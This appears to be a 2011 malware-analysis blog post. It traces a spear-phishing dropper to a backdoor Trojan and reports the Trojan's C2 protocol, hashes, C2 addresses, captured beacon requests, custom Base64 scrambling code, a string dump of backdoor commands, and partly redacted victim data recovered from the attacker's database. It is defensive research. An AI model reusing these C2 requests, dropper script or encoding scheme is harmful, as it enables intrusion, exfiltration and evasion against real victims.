- Today I will write about a Trojan that I will refer to as Trojan.Letsgo and some interesting artifacts I was able to recover from its C2 node located in China.
- However, before I write about Trojan.Letsgo, I have to talk about another Trojan that is very similar to other samples I have blogged about, that led me to Trojan.Letsgo.
- Today’s journey begins with a spear-phishing email that was mentioned here: http://www.lottaworld.com/images/fake_sasc_f-16.jpg
- The email contained a URL to a malicious file (no longer available): http://news.kmmowery.org/forum/f-16_sale.zip
- If you are interested in obtaining a sample of this file please let me know.
- This zip file contains a self extracting executable that is made to look like a folder, which has the following characteristics:
File Name: US Arms Sales to Taiwan About F-16 .exe
File Size: 146885 bytes
MD5: 2b1c03b4e34a123e5317182e6159e38a
SHA1: 1b4647c711f15b66bebe593ac215f0165fa12db8
PE Time: 0x4894133F [Sat Aug 02 07:56:47 2008 UTC]
PEID Sig: RAR SFX
Sections (4):
Name Entropy MD5
.text 6.39 4b84ca66055922ffe3b7d0a45b63ad99
.data 5.98 3fd04642b046387c6fd670a5951dfef8
.idata 4.94 f85c9601de742e0bc2de9d7b285351dc
.rsrc 5.15 d1b129bbe18e46e3b483a3f728bd87f6
- This self-extracting executable contains a SFX script that copies and executes a malicious file in the system. When you open the file with WirRAR you can see the script:
;下面的注释包含自解压脚本命令
Path=%temp%
SavePath
Setup=%temp%\cisvc.exe
Silent=1
Overwrite=2
- So, the “payload” if you will, of this self-extracting file has the following characteristics:
File Name: cisvc.exe
File Size: 14336 bytes
MD5: bcd2a7361d0a91a51123102a876c7af8
SHA1: 0ef31fea97a4938c59c92bacd1ea615bb8ca7659
PE Time: 0x4DA666E1 [Thu Apr 14 03:15:45 2011 UTC]
AV: 23/42 (54.8%) [VirusTotal]
Sections (3):
Name Entropy MD5
.text 6.1 1438df054ddec45c195c480250b6423f
.rdata 4.49 cfb3a3f65536ef8c42452105c7e1e4c4
.data 3.48 e09139527926e2c2a74ff253a2ff03c6
- This file was submitted to VirusTotal on 19 MAY 2011 and it has decent coverage there, except that the two major vendors, Symantec and McAfee, did not identify it as malicious.
- The behavior of this Trojan is similar to other samples that I have analyzed, in that, this Trojan:
- 1. requests an HTML page (http://122.147.13.8/new/iistart.html)
- 2. parses it for the comment tags
- 3. Base64 decodes the message contained in the tag and
- 4. either downloads and executes a file, or it sleeps.
- The biggest difference between this sample and previous ones is that this sample has a rather complex decryption algorithm for the file it downloads and executes.
- On 8 June 2011, this Trojan was instructed to download a file named update.gif:
GET /new/iistart.html HTTP/1.1
Accept: */*
User-Agent: lt-764-238+Windows+NT+5.171
Host: 122.147.13.8
HTTP/1.1 200 OK
Content-Length: 44
Content-Type: text/html
Last-Modified: Wed, 08 Jun 2011 00:19:01 GMT
Accept-Ranges: bytes
ETag: "a67db3aa7125cc1:102d"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Wed, 08 Jun 2011 00:42:37 GMT
- The instruction decodes to:
d:202.105.39.39 update.gif
- So, the Trojan is instructed to download file: http://202.105.39.39/update.gif. This file is still hosted on this site as of the day of this post.
- This file is decrypted by cisvc.exe to produce the following file, which I have named Trojan.Letsgo:
File Name: update.exe
File Size: 33829 bytes
MD5: 052ec04866e4a67f31845d656531830d
SHA1: 9860de85ea0d2b3022fa3d7bbbee0a13796258e6
PE Time: 0x4CD24D8F [Thu Nov 04 06:07:11 2010 UTC]
AV: 2/42 (4.8%) [VirusTotal]
Sections (4):
Name Entropy MD5
.text 6.49 6d5424af08903e9dcbd5b13956a9b58f
.rdata 4.81 30d656a769947083207e04b46e74ceeb
.data 4.93 7b331c3c724735e68e78b9e0680137a3
.rsrc 2.88 23ee7cf17663c0aed3a2be7c0c89e237
Trojan.Letsgo Behavior
- This Trojan creates a mutex named: letusgohtppmmv2.0.0.1
- This Trojan is similar to another sample I have seen and will probably post an analysis for in the near future. The other sample creates a mutex named: letusgozrmmv0.9 that parses instructions in HTML files within <yahoo sb= … </yahoo> tags.
- Both samples use the same encode/decode algorithm to derive a custom Base64 alphabet for communication.
- The strings within update.exe give you a very good idea of the functionality that this Trojan supports, as well as the communication protocol. I will dump the strings of this file at the end of this post.
- This Trojan issues SQL queries to a web form (http://202.105.39.39/safe/1.asp) that acts as an interface to a database file (http://202.105.39.39/safe/1.mdb)
- When this Trojan is first executed it sends a SQL query to the database to see if it has already been registered there. If not, it will send a request to do so. Here is an example of this second type of request:
GET /safe/1.asp?rands=XJOTLVALQF&acc=vy&str=insert%20into%20tab_online%20
(mode,clientname,clientip,accessip,onlinetime,lasttime,regcode)%20values%20
('0','victim','192.168.1.12','145.42.112.19','2011-06-08%2013:45:54',
'2011-06-08%2013:45:54','NMQVPTXFBH') HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; )
Accept: */*
Host: 202.105.39.39
Connection: Keep-Alive
Cookie: ASPSESSIONIDSADRDCST=JPKFDKEADBDBCOMGDJNKDDLN
- After the victim is successfully registered, it sends queries to the database for messages for its ID (in this case the assigned ID of the victim is 198)
GET /safe/1.asp?rands=DWLLOXLGLH&acc=vy&str=select%20top%201%20*%20
from%20tab_message%20where%20toid%20=%20'198'%20order%20by%20id%20asc HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; )
Accept: */*
Host: 202.105.39.39
Connection: Keep-Alive
Cookie: ASPSESSIONIDSADRDCST=JPKFDKEADBDBCOMGDJNKDDLN
- Here is what the 1.asp page looks like:

- At this time the database file 1.mdb is no longer available, therefore you get an error message. I managed to download a copy the MDB file before it was taken offline.
- The file consists of three tables:
- TAB_FILE
- TAB_MESSAGE
- TAB_ONLINE
- As mentioned, table named TAB_ONLINE shows the systems that have been registered in the database:
TAB_ONLINE
id
|
mode
|
clientname
|
clientip
|
accessip
|
onlinetime
|
lasttime
|
regcode
|
190
|
1
|
MICROSOF-8E329D
|
192.168.0.115
|
223.166.4.246
|
2011-06-08 08:50:14
|
2011-06-08 08:50:14
|
SGZMMZJBMD
|
191
|
0
|
isabella-272349
|
10.0.2.15
|
OMITTED
|
2011-06-08 03:45:46
|
2011-06-08 03:48:50
|
NHAPUXVYED
|
192
|
0
|
home-off-d5f0ac
|
172.16.2.67
|
OMITTED
|
2011-06-07 23:38:31
|
2011-06-07 23:38:58
|
FEGCQGCSAR
|
193
|
0
|
brbrb-d8fb22af1
|
10.14.23.2
|
OMITTED
|
2010-02-24 16:46:07
|
2010-02-24 16:46:34
|
FVZYWMWCJX
|
194
|
0
|
BB-01-65
|
111.5.98.202
|
OMITTED
|
2011-06-08 12:37:31
|
2011-06-08 12:42:32
|
RHCYQSBCXD
|
195
|
0
|
pc
|
172.16.0.1
|
OMITTED
|
2011-06-08 10:19:37
|
2011-06-08 10:19:55
|
CBHTKATMXA
|
- I believe the first system on the list (IP 223.166.4.246 China) is the IP controlling the rest of the systems.
- The TAB_MESSAGE table contains instructions that can be issued to the various victims, as well as messages from the victim to the C2 node with updates on the progress of tasks being performed. These instructions are Base64 encoded using a custom alphabet that is scrambled with each message (more on this later). The encodenum value determines how the alphabet is scrambled.
TAB_MESSAGE
id
|
message
action
|
fromid
|
toid
|
encode
num
|
message
totallength
|
message
piecelength
|
message
pieceindex
|
messagecontent
|
message
name
|
1862
|
remove
|
204
|
205
|
14543
|
6
|
6
|
0
|
qwrXCNGo
|
remove
|
1863
|
info
|
206
|
204
|
14517
|
42
|
42
|
0
|
tCk1tFl1rPkUtCR2_Pl1RW_jK.Y8zlkRzlkRzlkRzlkRzlkRzlkRzlkR
|
info
|
1864
|
info
|
206
|
204
|
14592
|
42
|
42
|
0
|
0Zgr0zSr1fhF0ocRbfSrcHbXaLg79Shc9Shc9Shc9Shc9Shc9Shc9Shc
|
info
|
1865
|
info
|
206
|
204
|
14651
|
42
|
42
|
0
|
kSWdk6WdYS7ekJtjvSWdtGvPXbiU3W7t3W7t3W7t3W7t3W7t3W7t3W7t
|
info
|
1866
|
info
|
206
|
204
|
14781
|
42
|
42
|
0
|
kSVdk6WdYS7ekJtjvSWdtGvPXbiU3W7t3W7t3W7t3W7t3W7t3W7t3W7t
|
info
|
1867
|
info
|
206
|
204
|
14866
|
42
|
42
|
0
|
86QXg6ZXj5EMg2Ql85ZXQ78pGvK3NZEQNZEQNZEQNZEQNZEQNZEQNZEQ
|
info
|
1868
|
info
|
206
|
204
|
14912
|
42
|
42
|
0
|
pQVSvQUSw3V1vjMrp3USMCpo7ckA4UVM4UVM4UVM4UVM4UVM4UVM4UVM
|
info
|
- Finally, the TAB_FILE table contains several files that the attacker can instruct the victims to download. Furthermore, this table will also contain the data of files being exfiltrated from victim systems.
- These files are again Base64 encoded using a custom alphabet that is scrambled for each chunk of data by the encodernum value.
- When I downloaded this database file, I noticed the messages above (info), which when decoded indicated to me that a 80 MB file was being uploaded to the database.
- The FILE_TAB confirmed this, by showing that a file named qb.rar was being uploaded as shown below:

- As you can see, the filepieceindex keeps track of the chunks of the files that are too large and have to be split to be stored in the database.
- After decoding the qb.rar file, I found out that it was password protected and the content was encrypted.
- In an attempt to recover the password (since the command to create the RAR archive would have been sent as a message), I decoded all the available messages, but this process did not yield the password, since at this point the command was already executed, and the message had been deleted.
- So, I started digging around the database file for deleted but not overwritten messages. Unfortunately, none of the messages I recovered were the command that created the RAR archive.
- I did however, confirm that the attacker had compromised and had interacted with at least two systems of a law firm and at least one system of a pro democracy organization.
- One of the messages I recovered from the system of the pro democracy organization showed that the attacker had executed the ipconfig /all command on that system:
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : OMITTED
Primary Dns Suffix . . . . . . . : OMITTED
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : OMITTED
Ethernet adapter Wireless Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Dell Wireless 1397 WLAN Mini-Card
Physical Address. . . . . . . . . : 00-25-56-10-EB-7A
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : OMITTED
Description . . . . . . . . . . . : Intel(R) 82567LM Gigabit Network Connection
Physical Address. . . . . . . . . : 00-24-E8-A3-F0-27
Dhcp Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . . . . . . . . : 10.10.5.200
Subnet Mask . . . . . . . . . . . : 255.0.0.0
Default Gateway . . . . . . . . . : 10.10.10.1
DHCP Server . . . . . . . . . . . : 10.10.10.62
DNS Servers . . . . . . . . . . . : 10.10.10.62
10.10.11.51
Lease Obtained. . . . . . . . . . : Tuesday, June 07, 2011 9:24:12 AM
Lease Expires . . . . . . . . . . : Thursday, June 09, 2011 9:24:12 AM
C:\Documents and Settings\OMITTED\Application Data\Adobe>
Encoding Algorithm
- As I mentioned above, Trojan.Letsgo uses Base64 encoding with a custom alphabet for its network communication.
- This algorithm starts with a custom base alphabet that is further scrambled by a scrambling algorithm.
- The custom base alphabet is actually 65 bytes long and is shown below:
ZYXWVUTSRQPONMLKJIHGFEDCBA9876543210zyxwvutsrqponmlkjihgfedcba-_.
- The other sample of this Trojan (the one that creates mutex name letusgozrmmv0.9 has a slightly different base alphabet:
ZYXWVUTSRQPONMLKJIHGFEDCBA9876543210zyxwvutsrqponmlkjihgfedcba@#|
- The scrambling algorithm consists of these steps:
for (i = 0; i < 65; i++) {
var1 = encodenum MOD 65
var2 = intArray[var1] MOD 65
var3 = alphabetBuff[var2]
alphabetBuff[var2] = alphabetBuff[i]
alphabetBuff[i] = var3
encodenum++
}
- The intArray mentioned above is an array of integers that is calculated at runtime. Both samples of this Trojan produce the same integers so I am listing them (only the first 65) here:
@intArray = ("3141", "5926", "5358", "9793", "2384", "6264", "3383",
"2795", "288", "4197", "1693", "9937", "5105", "8209",
"7494", "4592", "3078", "1640", "6286", "2089", "9862",
"8034", "8253", "4211", "7067", "9821", "4808", "6513",
"2823", "664", "7093", "8446", "955", "582", "2317", "2535",
"9408", "1284", "8111", "7450", "2841", "270", "1938", "5211",
"555", "9644", "6229", "4895", "4930", "3819", "6442", "8810",
"9756", "6593", "3446", "1284", "7564", "8233", "7867", "8316",
"5271", "2019", "914", "5648", "5669");
- After this alphabet is scrambled by this algorithm, the first 64 bytes are used for encoding/decoding (it is Base64 after all). So, having 65 bytes to start with, adds a bit more randomness to the alphabet.
- So, to give an example of this, lets look at the first info message from the TAB_MESSAGE above.
- We have the following encoded message: tCk1tFl1rPkUtCR2_Pl1RW_jK.Y8zlkRzlkRzlkRzlkRzlkRzlkRzlkR
- We also have the encodnum value: 14517.
- So, we first produce the scrambled alphabet:
- From the base alphabet: ZYXWVUTSRQPONMLKJIHGFEDCBA9876543210zyxwvutsrqponmlkjihgfedcba-_.
- We scramble this one: l3zFIMxWROGrt_NbYvpCA60cSigKJD7Lk8h9oj5.wduHX4yV1TUPQ2esqfnBm-aE
- After Base64 decoding the message using the scrambled custom alphabet we get:
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 31 38 30 30 30 30 2F 38 32 31 32 35 37 30 30 20 180000/82125700
00000010 73 65 6E 74 21 08 08 08 08 08 08 08 08 08 08 08 sent!
00000020 08 08 08 08 08 08 08 08 08 08
- As I mentioned before, when I saw this I knew a file was being transferred and the victim was updating the C2 node on the progress of the transfer.
- As promised here is a string dump from update.exe:
Text strings referenced in update:.text
Address Disassembly Text string
00401018 MOV EDI, update.00408020 ASCII "Content-Type: application/x-www-form-urlencoded"
00401402 PUSH update.0040805C ASCII "https"
0040144B PUSH update.00408054 ASCII "http"
00401568 PUSH update.00408064 ASCII "Mozilla/4.0 (compatible; )"
00401628 MOV DWORD PTR SS:[ESP+1C], u ASCII "*/*"
0040168E PUSH update.00408094 ASCII "HTTP/1.0"
00401694 PUSH update.00408090 ASCII "GET"
004016B6 MOV EDI, update.00408080 ASCII "Accept: */*"
004016CB PUSH update.00408080 ASCII "Accept: */*"
004017D8 MOV DWORD PTR SS:[ESP+1C], u ASCII "*/*"
00401854 PUSH update.00408094 ASCII "HTTP/1.0"
0040185D PUSH update.004080A4 ASCII "POST"
0040187F MOV EDI, update.00408080 ASCII "Accept: */*"
0040189A PUSH update.00408080 ASCII "Accept: */*"
004019CF MOV DWORD PTR SS:[ESP+20], u ASCII "*/*"
00401A58 PUSH update.00408094 ASCII "HTTP/1.0"
00401A5E PUSH update.004080A4 ASCII "POST"
00401A80 MOV EDI, update.00408080 ASCII "Accept: */*"
00401A95 PUSH update.00408080 ASCII "Accept: */*"
00401B1F PUSH update.004080AC ASCII "Content-Length: %d"
00401E52 PUSH update.004080D0 ASCII "%d:%s %d "
00401F8D PUSH update.004080DC ASCII 0A," Execu"
0040216B PUSH update.00408100 ASCII "USERPROFILE"
00402179 PUSH update.004080F8 ASCII "windir"
0040225B PUSH update.00408124 ASCII "%s\"
00402262 MOV EDI, update.0040811C ASCII "\*.*"
00402336 PUSH update.00408114 ASCII "%s\%s"
00402369 PUSH update.0040810C ASCII "%s\%s"
0040246E PUSH update.00408190 ASCII "InternetQueryOption failed! (%d)"
00402481 PUSH update.0040818C ASCII "%s"
004024A2 PUSH update.0040816C ASCII "PROXY_TYPE_AUTO_PROXY_URL:%s"
004024C1 PUSH update.00408154 ASCII "PROXY_TYPE_AUTO_DETECT"
004024DC PUSH update.00408140 ASCII "PROXY_TYPE_PROXY:%s"
004024F8 PUSH update.0040812C ASCII "PROXY_TYPE_DIRECT"
004025EF MOV EDI, update.004081C0 ASCII "\cmd.exe"
00402627 MOV EDI, update.004081B4 ASCII "rusinfo.exe"
00402776 PUSH update.004081E0 ASCII "w+t"
0040277B PUSH update.004081D8 ASCII "CONOUT$"
00402789 PUSH update.004081D4 ASCII "r+t"
0040278E PUSH update.004081CC ASCII "CONIN$"
004027E1 PUSH update.004081F4 ASCII "/c del "
00402809 PUSH update.004081EC ASCII " >> NUL"
0040281B PUSH update.004081E4 ASCII "ComSpec"
00402AAA PUSH update.00408204 ASCII "%.4d"
00402F0E PUSH update.004082A0 ASCII "AAAAA"
00402F13 PUSH update.00408274 ASCII "http://202.105.39.39/safe/1.asp"
00402F29 PUSH update.0040825C ASCII "letusgohtppmmv2.0.0.1"
00402F84 MOV ESI, update.00408258 ASCII "-c"
00402FE6 PUSH update.00408228 ASCII "Are you sure to FORMAT Disk C With NTFS?(Y/N)"
00403003 PUSH update.00408220 ASCII "%[^]"
00403011 MOV ESI, update.0040821C ASCII "yes"
004030CB PUSH update.00408214 ASCII "exit"
0040312F PUSH update.00408314 ASCII "%Y/%m/%d %X %z"
004031B4 PUSH update.0040830C ASCII "mname"
004031BE PUSH update.00408304 ASCII "shell"
0040328C MOV ESI, update.00408304 ASCII "shell"
0040333C MOV EDI, update.00408300 ASCII ""
0040339E MOV EDI, update.004082F8 ASCII "reshell"
00403432 MOV EDI, update.00408300 ASCII ""
00403492 MOV ESI, update.004082F0 ASCII "listp"
004034F8 PUSH update.0040830C ASCII "mname"
00403520 PUSH update.004082E8 ASCII "info"
00403532 MOV ESI, update.004082E0 ASCII "killp"
00403592 MOV ESI, update.004082D8 ASCII "printf"
00403609 PUSH update.0040830C ASCII "mname"
00403622 PUSH update.004082E8 ASCII "info"
0040362F MOV ESI, update.004082D0 ASCII "runfile"
00403675 MOV ESI, update.004082C4 ASCII "filectos"
004036CB MOV ESI, update.004082B8 ASCII "filestoc"
00403721 MOV ESI, update.004082B0 ASCII "remove"
00403767 MOV ESI, update.004082A8 ASCII "sleep"
00403AFF PUSH update.0040865C ASCII "select top 1 * from tab_file where filename='%s' order by id as
00403B8E PUSH update.00408658 ASCII "rb+"
00403BA5 PUSH update.00408654 ASCII "wb+"
00403BE6 PUSH update.00408610 ASCII "select * from tab_file where filename='%s' and filepieceindex=%
00403CED PUSH update.004085DC ASCII 0A,"Down file "
00403D1C PUSH update.004085D0 ASCII "net error!"
00403D59 PUSH update.004085B4 ASCII "piece %d not found error!"
00403D84 PUSH update.004085A0 ASCII "Cant open file!"
00403DD9 MOV EDI, update.00408718 ASCII "file"
00403DED PUSH update.00408658 ASCII "rb+"
00403F07 PUSH update.004086D4 ASCII "select id from tab_file where filename='%s' and filepieceindex=
00403F30 PUSH update.00408498 ASCII ""
00403F35 PUSH update.0040847C ASCII ""
00403F8A PUSH update.004086A0 ASCII 0A,"Send file "
00403FAF PUSH update.004085A0 ASCII "Cant open file!"
00403FDE PUSH update.00408720 ASCII "%s"
00404009 PUSH update.004082E8 ASCII "info"
0040401E PUSH update.004082E8 ASCII "info"
00404082 PUSH update.00408724 ASCII "select top 1 * from tab_message where toid = '%s' order by id a
00404172 PUSH update.00408768 ASCII "insert into tab_message (messageaction,fromid,toid,encodenum,me
0040420A PUSH update.00408828 ASCII "insert into tab_file (encodenum,filetotallength,filepiecelength
00404280 PUSH update.00408720 ASCII "%s"
00404297 PUSH update.00408720 ASCII "%s"
004042AB PUSH update.004088C0 ASCII "%d"
004042C2 PUSH update.004088C0 ASCII "%d"
004042D9 PUSH update.004088C0 ASCII "%d"
004042F8 PUSH update.00408720 ASCII "%s"
00404309 PUSH update.00408720 ASCII "%s"
00404360 PUSH update.004088C0 ASCII "%d"
00404494 PUSH update.004089C4 ASCII "%d-%02d-%02d %02d:%02d:%02d"
004044A8 PUSH update.00408984 ASCII "select id from tab_online where regcode = '%s' order by id asc"
004044D7 PUSH update.00408498 ASCII ""
004044DC PUSH update.0040847C ASCII ""
00404517 PUSH update.00408984 ASCII "select id from tab_online where regcode = '%s' order by id asc"
00404566 PUSH update.00408900 ASCII "insert into tab_online (mode,clientname,clientip,accessip,onlin
004045A1 PUSH update.00408984 ASCII "select id from tab_online where regcode = '%s' order by id asc"
004045CB PUSH update.00408498 ASCII ""
004045D0 PUSH update.0040847C ASCII ""
00404655 PUSH update.004088C4 ASCII "update tab_online set lasttime = '%s' where regcode = '%s'"
00404728 PUSH update.00408A10 ASCII "rands=%s&acc=%s&str=%s"
00404761 PUSH update.00408274 ASCII "http://202.105.39.39/safe/1.asp"
00404766 PUSH update.00408A08 ASCII "%s?%s"
004047A4 PUSH update.004089E8 ASCII "id="param1" size="100" value=""
004047BA MOV ESI, update.004089E0 ASCII "acc ok"
004048D6 PUSH update.00408274 ASCII "http://202.105.39.39/safe/1.asp"
004048E1 PUSH update.00408A30 ASCII "%s?rands=%s&acc=%s"
004048F3 PUSH update.00408A28 ASCII "str=%s"
0040495F PUSH update.004089E8 ASCII "id="param1" size="100" value=""
00404975 MOV ESI, update.004089E0 ASCII "acc ok"
00404A7D MOV EDI, update.00408274 ASCII "http://202.105.39.39/safe/1.asp"
00404AC7 MOV EDI, update.00408A6C ASCII "?rands="
00404B57 PUSH update.00408A58 ASCII "id="param4" value=""
00404B73 PUSH update.00408A44 ASCII "id="param5" value=""
00404EC5 PUSH update.00408BF8 ASCII "select * from tab_online where id=%s"
00404EDA PUSH update.00408BCC ASCII "select * from tab_online order by id asc"
00404F1F PUSH update.00408498 ASCII ""
00404F24 PUSH update.0040847C ASCII ""
00404F45 PUSH update.00408BC4 ASCII "id:%s"
00404F51 PUSH update.00408BC0 ASCII "%s "
00404F60 PUSH update.00408498 ASCII ""
00404F65 PUSH update.00408BA4 ASCII ""
00404F86 PUSH update.00408B98 ASCII "mode:%s"
00404F92 PUSH update.00408BC0 ASCII "%s "
00404FA1 PUSH update.00408498 ASCII ""
00404FA6 PUSH update.00408B74 ASCII ""
00404FC7 PUSH update.00408B64 ASCII "clientname:%s"
00404FD6 PUSH update.00408498 ASCII ""
00404FDB PUSH update.00408B44 ASCII ""
00404FF8 PUSH update.00408B34 ASCII "clientip:%s"
00405007 PUSH update.00408498 ASCII ""
0040500C PUSH update.00408B14 ASCII ""
0040502D PUSH update.00408B04 ASCII "accessip:%s"
00405039 PUSH update.00408BC0 ASCII "%s "
00405045 PUSH update.00408BC0 ASCII "%s "
00405054 PUSH update.00408498 ASCII ""
00405059 PUSH update.00408AE0 ASCII ""
0040507A PUSH update.00408AD0 ASCII "onlinetime:%s"
00405089 PUSH update.00408498 ASCII ""
0040508E PUSH update.00408AB0 ASCII ""
004050A7 PUSH update.00408AA0 ASCII "lasttime:%s"
004050B3 PUSH update.00408498 ASCII ""
004050B8 PUSH update.00408A80 ASCII ""
004050D1 PUSH update.00408A74 ASCII "regcode:%s"
004050E5 PUSH update.0040818C ASCII "%s"
00405171 PUSH update.00408C44 ASCII "delete from tab_online"
00405187 PUSH update.00408C20 ASCII "delete from tab_online where id=%s"
00405221 PUSH update.00408C80 ASCII "delete from tab_message"
00405237 PUSH update.00408C5C ASCII "delete from tab_message where id=%s"
004052D1 PUSH update.00408CC4 ASCII "delete from tab_file"
004052E7 PUSH update.00408C98 ASCII "delete from tab_file where filename='%s'"
00405355 PUSH update.00408DA4 ASCII "select * from tab_message where id=%s"
0040536A PUSH update.00408D78 ASCII "select * from tab_message order by id asc"
004053C1 PUSH update.00408498 ASCII ""
004053C6 PUSH update.0040847C ASCII ""
004053E7 PUSH update.00408BC4 ASCII "id:%s"
004053F3 PUSH update.00408BC0 ASCII "%s "
00405402 PUSH update.00408498 ASCII ""
00405407 PUSH update.00408454 ASCII ""
00405428 PUSH update.00408D64 ASCII "messageaction:%s"
00405434 PUSH update.00408BC0 ASCII "%s "
00405443 PUSH update.00408498 ASCII ""
00405448 PUSH update.00408434 ASCII ""
00405469 PUSH update.00408D58 ASCII "fromid:%s"
00405475 PUSH update.00408D50 ASCII "%s->"
00405484 PUSH update.00408498 ASCII ""
00405489 PUSH update.00408418 ASCII ""
004054AE PUSH update.00408D44 ASCII "toid:%s"
004054BD PUSH update.00408498 ASCII ""
004054C2 PUSH update.004083F4 ASCII ""
004054DF PUSH update.00408D34 ASCII "encodenum:%s"
004054F8 PUSH update.00408498 ASCII ""
004054FD PUSH update.004083C8 ASCII ""
0040551A PUSH update.00408D1C ASCII "messagetotallength:%s"
00405526 PUSH update.00408498 ASCII ""
0040552B PUSH update.0040839C ASCII ""
00405548 PUSH update.00408D04 ASCII "messagepiecelength:%s"
00405557 PUSH update.00408498 ASCII ""
0040555C PUSH update.00408370 ASCII ""
00405579 PUSH update.00408CEC ASCII "messagepieceindex:%s"
00405585 PUSH update.00408BC0 ASCII "%s "
00405591 PUSH update.00408BC0 ASCII "%s "
004055A0 PUSH update.00408498 ASCII ""
004055A5 PUSH update.00408324 ASCII ""
004055C2 PUSH update.00408CDC ASCII "messagename:%s"
004055D6 PUSH update.0040818C ASCII "%s"
00405665 PUSH update.00408EF0 ASCII "select filename,filetotallength,filepiecelength,filepieceindex
0040567F PUSH update.00408EB8 ASCII "select distinct filename,filetotallength from tab_file"
004056D9 PUSH update.00408498 ASCII ""
004056DE PUSH update.00408E98 ASCII ""
004056FB PUSH update.00408E88 ASCII "filename:%s "
00405707 PUSH update.00408498 ASCII ""
0040570C PUSH update.00408E60 ASCII ""
00405729 PUSH update.00408E50 ASCII "filelength:%s "
00405735 PUSH update.00408498 ASCII ""
0040573A PUSH update.00408E28 ASCII ""
00405757 PUSH update.00408E14 ASCII "filepiecelength:%s "
00405763 PUSH update.00408498 ASCII ""
00405768 PUSH update.00408DEC ASCII ""
00405781 PUSH update.00408DDC ASCII "filepiece:%s"
0040579F PUSH update.00408498 ASCII ""
004057A4 PUSH update.00408E98 ASCII ""
004057BD PUSH update.00408E88 ASCII "filename:%s "
004057C9 PUSH update.00408498 ASCII ""
004057CE PUSH update.00408E60 ASCII ""
004057E7 PUSH update.00408DCC ASCII "filelength:%s"
00405832 PUSH update.004090B4 ASCII "Alert!Pls press enter to make sure!"
0040584F PUSH update.00408220 ASCII "%[^]"
0040585D MOV ESI, update.004090AC ASCII "enter"
004058CB PUSH update.004090A8 ASCII "$"
004058F8 PUSH update.00408220 ASCII "%[^]"
0040597C MOV ESI, update.004090A4 ASCII "cls"
004059B0 PUSH update.004090A4 ASCII "cls"
004059C3 MOV ESI, update.00409098 ASCII "listclients"
004059FB MOV ESI, update.00409094 ASCII "lcs"
00405A33 MOV ESI, update.00409084 ASCII "listmessages"
00405A6B MOV ESI, update.00409080 ASCII "lms"
00405AA3 MOV ESI, update.00409074 ASCII "listfiles"
00405ADB MOV ESI, update.00409070 ASCII "lfs"
00405B13 MOV ESI, update.00409064 ASCII "delclient"
00405B4B MOV ESI, update.0040905C ASCII "delc"
00405B83 MOV ESI, update.00409050 ASCII "delmessage"
00405BBB MOV ESI, update.00409048 ASCII "delm"
00405BF3 MOV ESI, update.00409040 ASCII "delfile"
00405C2B MOV ESI, update.00409038 ASCII "delf"
00405C63 MOV ESI, update.0040902C ASCII "debugfile"
00405C9B MOV ESI, update.00409024 ASCII "dbgf"
00405CD3 MOV ESI, update.00409018 ASCII "debugclient"
00405D0B MOV ESI, update.00409010 ASCII "dbgc"
00405D43 MOV ESI, update.00409000 ASCII "debugmessage"
00405D7B MOV ESI, update.00408FF8 ASCII "dbgm"
00405DB3 MOV ESI, update.00408FF0 ASCII "connect"
00405DEB MOV ESI, update.00408FEC ASCII "con"
00405E23 MOV ESI, update.00408FE4 ASCII "quitz"
00405E5B MOV ESI, update.00408FDC ASCII "quit"
00405E93 MOV ESI, update.00408FD4 ASCII "upfile"
00405ECB MOV ESI, update.00408FD0 ASCII "uf"
00405F03 MOV ESI, update.00408FC4 ASCII "downfile"
00405F3B MOV ESI, update.00408FC0 ASCII "df"
00405F84 PUSH update.00408FA4 ASCII "Pls choose target first! "
00405F97 MOV ESI, update.004082A8 ASCII "sleep"
00405FFE PUSH update.004082A8 ASCII "sleep"
00406010 MOV ESI, update.00408F9C ASCII "getfile"
00406048 MOV ESI, update.00408F98 ASCII "gf"
00406080 MOV ESI, update.00408F90 ASCII "putfile"
004060B8 MOV ESI, update.00408F8C ASCII "pf"
004060F0 MOV ESI, update.00408F80 ASCII "uninstall"
00406128 MOV ESI, update.004082B0 ASCII "remove"
00406160 MOV ESI, update.00408304 ASCII "shell"
0040619E PUSH update.00408304 ASCII "shell"
004061A3 PUSH update.00408F7C ASCII "cd"
004061AD PUSH update.00408304 ASCII "shell"
004061B4 MOV ESI, update.004082F8 ASCII "reshell"
004061F2 PUSH update.004082F8 ASCII "reshell"
004061F7 PUSH update.00408F7C ASCII "cd"
00406201 PUSH update.004082F8 ASCII "reshell"
0040621D MOV ESI, update.004082F0 ASCII "listp"
0040625B PUSH update.004082F0 ASCII "listp"
00406260 PUSH update.00408F7C ASCII "cd"
0040626A PUSH update.004082F0 ASCII "listp"
0040627C MOV ESI, update.004082D8 ASCII "printf"
004062D3 PUSH update.004082D8 ASCII "printf"
004062E7 PUSH update.004082D8 ASCII "printf"
004062F9 MOV ESI, update.004082D0 ASCII "runfile"
00406350 PUSH update.004082D0 ASCII "runfile"
00406364 PUSH update.004082D0 ASCII "runfile"
00406376 MOV ESI, update.004082E0 ASCII "killp"
004063C9 PUSH update.004082E0 ASCII "killp"
004063DD PUSH update.004082E0 ASCII "killp"
004063EF PUSH update.00408F6C ASCII "Command Error! "
0040640A MOV ESI, update.00408F64 ASCII "exit"
00406461 PUSH update.00408304 ASCII "shell"
0040646B PUSH update.00408304 ASCII "shell"
00406487 PUSH update.004082B0 ASCII "remove"
0040648C PUSH update.004082B0 ASCII "remove"
00406496 PUSH update.004082B0 ASCII "remove"
004064E0 PUSH update.004082B8 ASCII "filestoc"
00406532 PUSH update.004082C4 ASCII "filectos"
004067E6 MOV ESI, update.00408304 ASCII "shell"
00406824 PUSH update.00408720 ASCII "%s"
00406843 PUSH update.004090D8 ASCII "(info)%s->%s:%s $"
0040693D up PUSH EBP (Initial CPU selection)
00406A60 PUSH 30000 ASCII "Actx "
00406A65 PUSH 10000 UNICODE "ALLUSERSPROFILE=C:\Documents and Settings\All Users"